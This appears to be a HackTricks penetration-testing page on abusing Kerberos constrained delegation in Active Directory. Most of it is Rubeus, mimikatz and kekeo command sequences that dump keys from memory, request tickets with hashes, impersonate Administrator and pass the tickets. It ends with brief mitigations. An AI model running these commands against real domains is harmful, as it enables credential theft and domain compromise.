127 lines
8.1 KiB
Markdown
127 lines
8.1 KiB
Markdown
# Constrained Delegation
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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## Constrained Delegation
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Using this a Domain admin can **allow** a computer to **impersonate a user or computer** against a **service** of a machine.
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* **Service for User to self (**_**S4U2self**_**):** If a **service account** has a _userAccountControl_ value containing [TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) (T2A4D), then it can obtain a TGS for itself (the service) on behalf of any other user.
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* **Service for User to Proxy(**_**S4U2proxy**_**):** A **service account** could obtain a TGS on behalf any user to the service set in **msDS-AllowedToDelegateTo.** To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.
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**Note**: If a user is marked as ‘_Account is sensitive and cannot be delegated_ ’ in AD, you will **not be able to impersonate** them.
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This means that if you **compromise the hash of the service** you can **impersonate users** and obtain **access** on their behalf to the **service configured** (possible **privesc**).
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Moreover, you **won't only have access to the service that the user is able to impersonate, but also to any service** because the SPN (the service name requested) is not being checked, only privileges. Therefore, if you have access to **CIFS service** you can also have access to **HOST service** using `/altservice` flag in Rubeus.
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Also, **LDAP service access on DC**, is what is needed to exploit a **DCSync**.
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{% code title="Enumerate" %}
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```bash
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# Powerview
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Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
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Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
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#ADSearch
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ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
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```
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{% endcode %}
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{% code title="Get TGT" %}
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```bash
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# The first step is to get a TGT of the service that can impersonate others
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## If you are SYSTEM in the server, you might take it from memory
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.\Rubeus.exe triage
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.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
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# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
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## Get AES/RC4 with mimikatz
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mimikatz sekurlsa::ekeys
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## Request with aes
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tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
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.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
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# Request with RC4
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tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
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.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
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```
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{% endcode %}
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{% hint style="warning" %}
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There are **other ways to obtain a TGT ticket** or the **RC4** or **AES256** without being SYSTEM in the computer like the Printer Bug and unconstrain delegation, NTLM relaying and Active Directory Certificate Service abuse
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**Just having that TGT ticket (or hashed) you can perform this attack without compromising the whole computer.**
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{% endhint %}
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{% code title="Using Rubeus" %}
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```bash
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#Obtain a TGS of the Administrator user to self
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.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
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#Obtain service TGS impersonating Administrator (CIFS)
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.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
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#Impersonate Administrator on different service (HOST)
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.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
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# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
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.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
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#Load ticket in memory
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.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
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```
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{% endcode %}
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{% code title="kekeo + Mimikatz" %}
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```bash
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#Obtain a TGT for the Constained allowed user
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tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
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#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
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tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
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#Load the TGS in memory
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Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
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```
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{% endcode %}
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### Mitigation
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* Disable kerberos delegation where possible
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* Limit DA/Admin logins to specific services
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* Set "Account is sensitive and cannot be delegated" for privileged accounts.
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[**More information in ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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|
||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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